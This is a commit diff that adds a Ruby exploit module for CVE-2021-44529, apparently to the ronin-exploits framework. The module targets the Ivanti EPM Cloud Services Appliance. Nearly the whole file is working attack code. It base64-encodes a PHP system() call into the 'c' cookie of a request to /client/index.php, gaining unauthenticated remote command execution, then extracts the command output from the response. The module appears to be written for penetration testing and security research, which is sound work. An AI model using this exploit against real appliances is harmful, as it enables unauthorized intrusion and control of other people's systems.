Added a PoC for CVE-2021-44529 (closes #3).

exploits/ivanti/CVE-2021-44529.rb

@@ -0,0 +1,83 @@
+#!/usr/bin/env -S ronin-exploits run -f
+
+require 'ronin/exploits/command_injection'
+require 'ronin/exploits/mixins/http'
+require 'ronin/support/encoding/base64'
+require 'ronin/support/encoding/ruby'
+
+module Ronin
+  module Exploits
+    #
+    # PoC exploit for CVE-2021-44529.
+    #
+    # This PoC exploit is based on the previous PoC exploits:
+    #
+    # * https://packetstormsecurity.com/files/166383/Ivanti-Endpoint-Manager-CSA-4.5-4.6-Remote-Code-Execution.html
+    # * https://github.com/jkana/CVE-2021-44529
+    #
+    class CVE_2021_44529 < CommandInjection
+
+      include Mixins::HTTP
+
+      register 'ivanti/CVE-2021-44529'
+
+      quality :untested
+      release_date    '2022-03-23'
+      disclosure_date '2021-08-12'
+      advisory 'CVE-2021-44529'
+      advisory 'SA-2021-12-02', url: 'https://forums.ivanti.com/s/article/SA-2021-12-02'
+
+      author "Postmodern", email: "[email protected]"
+      summary "Command execution in Ivanti EPM Cloud Services Appliance (CSA)"
+      description <<~DESC
+        Ivanti EPM Cloud Services Appliance (CSA) is vulnerable to remote
+        unauthenticated code execution via the second cookie parameter in a HTTP
+        request to `/client/index.php`. By executing the `system()` function
+        arbitrary command execution is also possible.
+
+            GET /client/index.php
+            Host: example.com
+            Cookie: ab=ab; c=BASE64_PAYLOAD; d=; e=;
+
+      DESC
+      references [
+        "https://forums.ivanti.com/s/article/SA-2021-12-02",
+        "https://packetstormsecurity.com/files/166383/Ivanti-Endpoint-Manager-CSA-4.5-4.6-Remote-Code-Execution.html",
+        "https://github.com/jkana/CVE-2021-44529"
+      ]
+
+      #
+      # Sends a HTTP GET request to `/client/index.php` with the `c` cookie
+      # parameter containing the base64 encoded string `system(COMMAND);` with
+      # the double-quoted command string inside of `system(...);` function call.
+      #
+      def launch
+        wrapped_payload = "system(#{payload.to_s.inspect});"
+        encoded_payload = wrapped_payload.base64_encode(mode: :url_safe)
+
+        response = http_get(
+          '/client/index.php', cookie: {
+            'ab' => 'ab',
+            'c'  => encoded_payload,
+            'd'  => '',
+            'e'  => ''
+          }
+        )
+
+        if (match = response.body.match(%r{<c123>(.*)</c123>}m))
+          output = match[1].unescape
+
+          print_success "Command successfully executed!"
+          puts
+          puts output
+        else
+          print_error "Could not extract command output from response"
+          puts response.body
+
+          fail("command not successfully executed")
+        end
+      end
+
+    end
+  end
+end